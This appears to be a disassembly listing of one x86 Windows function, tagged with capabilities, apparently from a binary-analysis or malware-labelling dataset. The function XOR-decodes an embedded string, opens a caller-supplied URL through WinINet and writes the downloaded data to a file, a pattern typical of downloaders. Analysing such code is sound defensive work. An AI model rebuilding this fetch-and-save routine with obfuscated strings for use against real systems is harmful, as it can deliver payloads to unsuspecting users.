Function at 0x4023c0
Capabilities:
Create http request
Encode data using xor
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x21bc
call fcn.00419d50
push ebx
push esi
push edi
mov dword [esp + 0x10], ecx
lea edi, [esp + 0xe0]
mov ecx, 0x3a
mov dword [esp + 0x14], edx
mov esi, 0x4429d0
rep movsd dword es:[edi], dword [esi]
xor esi, esi
cmp dword [0x448508], 2
jl 0x402520
movaps xmm4, xmmword [0x443670]
mov eax, 4
movaps xmm3, xmmword [0x443730]
movaps xmm6, xmmword [0x443690]
movd xmm5, eax
mov eax, 0x1f
movd xmm7, eax
movd xmm0, esi
lea eax, [esi + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [0x4436c0]
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0xe0]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movq qword [esp + esi*2 + 0xe0], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [0x4436c0]
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0xe8]
pxor xmm1, xmm0
movq qword [esp + esi*2 + 0xe8], xmm1
add esi, 8
cmp esi, 0x70
jl 0x402424
cmp esi, 0x74
jge 0x40254b
nop dword [eax]
mov eax, 0x4ec4ec4f
imul esi
mov eax, 1
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub eax, ecx
imul eax, eax, 0x34
add eax, esi
xor word [esp + esi*2 + 0xe0], ax
inc esi
cmp esi, 0x74
jl 0x402520
lea ecx, [esp + 0xe0]
mov dword [esp + 0x18], 0
mov dword [esp + 0x28], 0
lea edx, [ecx + 2]
mov dword [esp + 0x2c], 7
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x402570
sub ecx, edx
lea eax, [esp + 0xe0]
sar ecx, 1
push ecx
push eax
lea ecx, [esp + 0x20]
call fcn.00403f50
cmp dword [esp + 0x2c], 8
lea eax, [esp + 0x18]
push 0
cmovae eax, dword [esp + 0x1c]
push 0
push 0
push 1
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edx, dword [esp + 0x2c]
mov ebx, eax
cmp edx, 8
jb 0x4025ec
mov ecx, dword [esp + 0x18]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4025e2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4027fb
push edx
push ecx
call fcn.00419018
add esp, 8
xor ecx, ecx
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 7
mov word [esp + 0x18], cx
test ebx, ebx
je 0x402633
mov eax, dword [esp + 0x10]
cmp dword [eax + 0x14], 0x10
jb 0x402613
mov eax, dword [eax]
push 0
push connect
push 0
push 0
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
jne 0x40263f
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, dword [esp + 0x14]
cmp dword [edi + 0x14], 0x10
jb 0x40264b
mov edi, dword [edi]
push ecx
lea eax, [esp + 0x38]
mov dword [esp + 0x34], 0x442ab8
push eax
lea ecx, [esp + 0xa0]
mov dword [esp + 0xa8], 0
mov dword [esp + 0xc8], 0
mov dword [esp + 0xcc], 0
mov dword [esp + 0xd0], 0
mov dword [esp + 0xa0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov dword [esp + 0x9c], 0x60
call fcn.004044d0
mov eax, dword [esp + 0x30]
mov eax, dword [eax + 4]
mov dword [esp + eax + 0x30], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [esp + 0x30]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [esp + ecx + 0x2c], eax
lea ecx, [esp + 0x34]
call fcn.00404300
push ecx
push 0x22
push edi
lea ecx, [esp + 0x40]
call fcn.00404200
test eax, eax
jne 0x402705
mov eax, dword [esp + 0x30]
lea ecx, [esp + 0x30]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.004022d0
mov eax, dword [esp + 0x30]
mov eax, dword [eax + 4]
mov dword [esp + eax + 0x30], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [esp + 0x30]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [esp + ecx + 0x2c], eax
mov eax, dword [esp + 0x30]
mov eax, dword [eax + 4]
test byte [esp + eax + 0x3c], 6
je 0x402753
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
lea ecx, [esp + 0x30]
mov esi, 1
call fcn.00402810
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [esp + 0xc]
push eax
push 0x2000
lea eax, [esp + 0x1d0]
push eax
push esi
call edi
test eax, eax
je 0x4027a7
mov eax, dword [esp + 0xc]
test eax, eax
je 0x4027a7
push 0
push eax
lea eax, [esp + 0x1d0]
push eax
lea ecx, [esp + 0x3c]
call fcn.004036d0
lea eax, [esp + 0xc]
push eax
push 0x2000
lea eax, [esp + 0x1d0]
push eax
push esi
call edi
test eax, eax
jne 0x402772
lea ecx, [esp + 0x34]
call fcn.00403df0
test eax, eax
jne 0x4027db
mov eax, dword [esp + 0x30]
lea ecx, [esp + 0x30]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.004022d0
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
lea ecx, [esp + 0x30]
xor esi, esi
call fcn.00402810
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.0041eb32
int3